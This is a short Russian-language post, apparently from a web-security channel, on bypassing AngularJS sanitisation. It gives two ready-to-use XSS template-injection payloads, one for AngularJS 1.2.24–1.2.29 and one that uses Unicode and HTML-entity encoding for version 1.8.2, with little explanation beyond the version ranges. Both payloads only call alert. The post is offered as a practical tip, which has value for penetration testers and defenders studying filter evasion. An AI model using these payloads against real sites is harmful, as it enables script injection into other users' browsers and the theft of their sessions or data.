🛡 Обход фильтрации в AngularJS



AngularJS - это JavaScript-фреймворк с открытым исходным кодом, предназначенный для разработки одностраничных приложений. Часто используется различными конструкторами сайтов.



Если вам требуется короткая полезная нагрузка для XSS в AngularJS 1.2.24 - 1.2.29, то можно воспользоваться той, что представлена ниже:



{{[].%22-alert`1`-%22}}



По этой ссылке пример её выполнения для версии 1.2.26.



Фильтрацию самой последней версии AngularJS можно обойти с помощью Unicode и HTML кодирования:



{{$on.constructor('%26bsol;%26bsol;u%26bsol;u007b61}lert`1`')()}}



По этой ссылке пример её выполнения для версии 1.8.2.



#web #xss #waf